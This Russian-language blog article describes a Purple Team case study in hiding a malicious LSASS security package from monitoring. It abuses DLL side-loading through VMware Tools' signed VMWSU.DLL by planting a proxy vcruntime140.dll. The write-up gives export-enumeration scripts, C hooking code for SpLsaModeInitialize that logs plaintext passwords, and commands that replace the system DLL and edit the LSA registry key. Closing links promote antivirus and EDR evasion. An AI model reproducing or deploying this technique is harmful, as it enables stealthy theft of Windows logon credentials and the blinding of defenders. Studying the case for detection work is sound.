Сегодня расскажу об интересном кейсе из опыта участия в Purple Team. Нам удалось обмануть кастомное правило СЗИ, нацеленное на мониторинг зловредных SSP-модулей.
Еще по теме: Обход антивируса с помощью Haskell
Обход мониторинга зловредных модулей SSP
Я считаю, что прямые манипуляции с памятью LSASS давно утратили свою эффективность из‑за того, что есть намного менее инвазивные методики получения кредов на внутряках и редтимах. Описанный далее случай претендует скорее на забавную «байку из склепа», нежели на серьезную технику зрелых злоумышленников. Однако тут присутствует мини‑ресерч, полезный для обучения.
Итак, пришли к нам представители синей команды и спросили, как может хацкер спрятать свой малварный SSP-провайдер вроде mimilib.dll от взгляда мониторинга, оставаясь при этом корректно зарегистрированным в системе. Отталкиваясь от того, что детект основывался на отслеживании состояния ключа HKLM\SYSTEM\currentcontrolset\control\lsa\Security Packages и проверки соответствующих DLL на наличие цифровых подписей, мы решили поресерчить существующие либы на предмет уязвимости к DLL Side-Loading.
В поисках экспорта SpLsaModeInitialize
Соберем список легитимных библиотек из C:\WINDOWS\System32\*:
1 |
PS > Get-ChildItem C:\WINDOWS\System32\ -Filter *.dll -Recurse | % { $_.FullName } > \temp\dlls.txt |
Далее с помощью нехитрого скрипта на Python посмотрим на их экспорты с целью найти все DLL, которые предоставляют апи SpLsaModeInitialize:
1 2 3 4 5 6 7 8 9 |
PS > foreach ($line in Get-Content \temp\dlls.txt) { py \tools\pe_exports.py $line | findstr /i SpLsaModeInitialize } # C:\WINDOWS\System32\cloudAP.dll: SpLsaModeInitialize @1 # C:\WINDOWS\System32\kerberos.dll: SpLsaModeInitialize @3 # C:\WINDOWS\System32\msv1_0.dll: SpLsaModeInitialize @3 # C:\WINDOWS\System32\negoexts.dll: SpLsaModeInitialize @1 # C:\WINDOWS\System32\pku2u.dll: SpLsaModeInitialize @1 # C:\WINDOWS\System32\schannel.dll: SpLsaModeInitialize @1 # C:\WINDOWS\System32\TSpkg.dll: SpLsaModeInitialize @1 # C:\WINDOWS\System32\VMWSU.DLL: SpLsaModeInitialize @1 # C:\WINDOWS\System32\wdigest.dll: SpLsaModeInitialize @7 |
Содержимое pe_exports.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
import sys,pefile,os if not len(sys.argv[1:]): print ("Usage pe_exports.py FILE") exit(1) for f in sys.argv[1:]: pe = pefile.PE(f) generate = False exports = [] lib = os.path.basename(f) if '-gen' in sys.argv: generate = True exportSymbols = getattr(pe, 'DIRECTORY_ENTRY_EXPORT', None) if exportSymbols: for sym in exportSymbols.symbols: if not generate: try: line = '{} @{}'.format(sym.name.decode(), sym.ordinal) except: line = 'None @{}'.format(sym.ordinal) if sym.forwarder is not None: line += ' -> {}'.format(sym.forwarder.decode()) print('{}: {}'.format(f,line)) continue if sym.name.decode() == 'DllMain': continue exports += [' {name}={lib}.{name} @{ord}'.format( name = sym.name.decode(), ord = sym.ordinal, lib = '.'.join(lib.split('.')[:-1]) )] if generate: print('''LIBRARY BTREE EXPORTS {} '''.format('\n'.join(exports))) |
Помимо дефолтных виндовых библиотек, в глаза сразу же бросается C:\WINDOWS\System32\VMWSU.DLL, которая оказалась частью пакета гостевых дополнений VMware Tools. С цифровой подписью у этой библиотеки всё в норме.
Импорты VMWSU.DLL
Теперь глянем на импорты VMWSU.DLL.
Как видишь, эта библиотека, скорее всего, будет пытаться подтянуть функции vcruntime140.dll, которые не входят в набор обязательных компонентов ОС.
Подделка SSP и хукинг SpLsaModeInitialize
Проведем атаку DLL Side-Loading, нацеленную на подмену библиотеки vcruntime140.dll при загрузке VMWSU.DLL. Чтобы переопределить поведение экспорта SpLsaModeInitialize, мы воспользуемся классической техникой API-хукинга.
Для начала соберем все экспорты vcruntime140.dll с помощью SharpDllProxy, чтобы наша поддельная библиотека VMWSU.DLL проксировала вызовы vcruntime140.dll к соответствующей легитимной библиотеке:
1 2 3 4 5 6 7 8 |
Cmd > .\SharpDllProxy.exe --dll C:\windows\system32\vcruntime140.dll [+] Reading exports from C:\windows\system32\vcruntime140.dll... [+] Redirected 71 function calls from vcruntime140.dll to tmp50CA.dll [+] Exporting DLL C source to C:\Repos\SharpDllProxy\SharpDllProxy\bin\Debug\netcoreapp3.1\output_vcruntime140\vcruntime140_pragma.c |
Теперь, вооружившись примером малварного SSP с Red Team Notes, а также честно позаимствовав шаблон для хукинга из проекта ShellcodeFluctuation (я уже использовал его в статье «Флуктуация шелл‑кода. Пишем инжектор для динамического шифрования полезной нагрузки в памяти»), набросаем быстрый трамплин, который будет менять поведение SpLsaModeInitialize. Полный код доступен у меня на GitHub.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers) { uint8_t trampoline[] = { 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr 0x41, 0xFF, 0xE2 // jmp r10 }; uint64_t addr = (uint64_t)(jumpAddress); memcpy(&trampoline[2], &addr, sizeof(addr)); DWORD dwSize = sizeof(trampoline); DWORD oldProt = 0; bool output = false; if (installHook) { if (buffers != NULL) memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt)) { memcpy(addressToHook, trampoline, dwSize); output = true; } } else { dwSize = buffers->originalBytesSize; if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt)) { memcpy(addressToHook, buffers->originalBytes, dwSize); output = true; } } ::VirtualProtect(addressToHook, dwSize, oldProt, &oldProt); return output; } void NTAPI MySpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables) { HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub; buffers.originalBytesSize = sizeof(g_hookedSpLsaModeInitialize.spLsaModeInitializeStub); HINSTANCE library = LoadLibraryA("VMWSU.DLL"); FARPROC spLsaModeInitializeAddress = GetProcAddress(library, "SpLsaModeInitialize"); fastTrampoline(false, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, &buffers); *PackageVersion = SECPKG_INTERFACE_VERSION; *ppTables = SecurityPackageFunctionTable; *pcTables = 1; fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, NULL); } |
Очевидно, что скопипащенный с ired.team код SSP палится всем чем можно даже в статике, однако наша цель в данном случае — не избежать детектов на диске, а найти способ сокрытия целевой библиотеки из соответствующего ключа реестра.
Компилируем как DLL с корректными экспортами, полученными с помощью SharpDllProxy (output_vcruntime140\vcruntime140_pragma.c/), и копируем результат как C:\WINDOWS\System32\vcruntime140.dll. Туда же кладем исходную библиотеку, предварительно переименовав в output_vcruntime140\tmp50CA.dll:
1 2 3 |
Cmd > move \windows\system32\vcruntime140.dll \windows\system32\vcruntime140.dll.bak Cmd > copy output_vcruntime140\tmp50CA.dll \windows\system32\tmp50CA.dll Cmd > copy C:\Repos\Dll1\x64\Release\Dll1.dll \windows\system32\vcruntime140.dll |
Отмечу, что необязательно класть оригинальную переименованную библиотеку tmp50CA.dll в SYSTEM32 — достаточно при определении прагм с экспортами указать полный путь до либы.
Теперь добавляем VMWSU.DLL в качестве провайдера безопасности LSASS:
1 2 |
Cmd > reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0vmwsu" /t REG_MULTI_SZ /f |
И вуаля — в реестре значение ключа Security Packages содержит только легитимные подписанные DLL, однако при подгрузке VMWSU.DLL будет загружаться vcruntime140.dll, которая заменит вызов SpLsaModeInitialize сборщиком паролей в открытом виде. При этом работоспособность системы не пострадает, так как вызовы к vcruntime140.dll будут проксироваться до оригинальной библиотеки.
Перезагружаемся, логинимся, проверяем файл C:\Temp\logged-pw.txt и, о боже, обнаруживаем в нем только что введенный пароль!
Заключение
Мне удалось обнаружить небольшой зиродей для виртуальных машинок с навешанным VMware Tools. Несмотря на то что этот кейс вряд ли сработает в боевых условиях, все же я считаю, что некоторые защитные средства чрезмерно доверчиво относятся к активности, исходящей от подписанных образов PE. А ведь ими тоже можно манипулировать!
Спасиб за кейс snovvcrash!
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как скрыть процессы от антивирусов
- Как убить процесс системы обнаружения атак (EDR)
- Использование SigThief для обхода антивируса